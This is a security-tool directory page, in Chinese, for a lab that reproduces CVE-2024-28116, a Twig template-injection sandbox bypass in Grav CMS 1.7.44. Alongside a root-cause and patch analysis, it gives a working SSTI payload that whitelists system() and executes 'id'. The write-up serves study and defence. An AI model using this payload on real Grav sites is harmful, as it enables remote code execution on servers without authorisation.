Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
grav-cve-2024-28116 — CVE-2024-28116 的分析与 Docker 复现 - Grav CMS 中绕过沙箱的 SSTI | Kitploit
工具/GitHubGitHub/bebarossi/grav-cve-2024-28116
漏洞分析漏洞利用Web应用程序漏洞利用Web安全学习与教育实验室与实践
GitHubbebarossi/grav-cve-2024-28116

grav-cve-2024-28116

CVE-2024-28116 的分析与 Docker 复现 - Grav CMS 中绕过沙箱的 SSTI

查看仓库
821天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-28116 — Grav CMS 中的 SSTI 与沙箱绕过

对 CVE-2024-28116 的分析与 Docker 复现。该漏洞是 Grav CMS 1.7.44 及更早版本中的一个服务端模板注入(SSTI)漏洞,可绕过安全沙箱,已在 1.7.45 版本中修复。

报告者:Maurizio Siddu (akabe1)
CVSS v3.1 评分:8.8(高危)
修复版本:Grav CMS 1.7.45


仓库结构

  • vulnerable
    • Dockerfile # Grav CMS 1.7.44(存在漏洞)
    • apache.conf # Apache 配置
  • patched
    • Dockerfile # Grav CMS 1.7.45(已修复)
    • apache.conf # Apache 配置
  • CVE-2024-28116_Report.pdf

环境要求

  • 已在 macOS 上安装并运行 Docker Desktop
  • 无需其他依赖——所有内容均已安装在容器内

如何运行漏洞环境(Grav 1.7.44)

root@kitploit:~
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable

在浏览器中打开 http://localhost:8080/admin,首次访问时创建管理员账户。


如何复现该漏洞利用

  1. 在管理面板中,创建第二个用户账户,仅授予编辑者权限(Login to Site、Login to Admin 和 Pages 设为 Allowed,其他所有项均保持 Not set)
  2. 打开一个隐私浏览窗口,以编辑者身份登录 http://localhost:8080/admin
  3. 进入 Pages → Add Page,将标题设为 test page,点击 Continue
  4. 在 Advanced 选项卡中,勾选 Process 下的 Markdown 和 Twig 两项以启用 Twig 处理
  5. 在 Content 选项卡中,粘贴以下 payload:
root@kitploit:~
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
  1. 点击 Save
  2. 打开一个普通浏览器标签页,访问 http://localhost:8080/test-page
  3. 服务器将输出完整的 Grav 配置对象,并在最底部显示:uid=33(www-data) gid=33(www-data) groups=33(www-data)

这确认了可以 Web 服务器用户身份执行远程代码(RCE)。


如何运行已修复环境(Grav 1.7.45)

root@kitploit:~
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched

在浏览器中打开 http://localhost:8081/admin,重复上述所有漏洞利用步骤,并将目标改为 http://localhost:8081/test-page。

页面将完全空白。Security.php 中的 cleanDangerousTwig() 方法会在 twig.safe_functions 指令到达 Twig 引擎之前将其检测并阻止。白名单永远不会被修改,命令也永远不会被执行。


漏洞原理

该漏洞位于 system/src/Grav/Common/Twig.php 中。Grav 实现了一个沙箱,基于 isDangerousFunction() 所检查的黑名单,防止在 Twig 模板中调用危险的 PHP 函数。然而,该沙箱并不保护 Twig 对象本身。拥有编辑者权限的用户可以通过精心构造的模板指令与 Twig 对象交互,并在运行时覆盖 system.twig.safe_functions 白名单。一旦 system() 等危险函数被加入白名单,沙箱检查即被绕过,该函数便可不受限制地执行。


修复方案

该补丁在 system/src/Grav/Common/Security.php 的 cleanDangerousTwig() 方法中,将 'twig.safe_functions' 加入被阻止的模式列表。任何包含该字符串的指令都会在到达 Twig 引擎之前被中和,从而使编辑者无法在模板内部修改白名单。

下载工具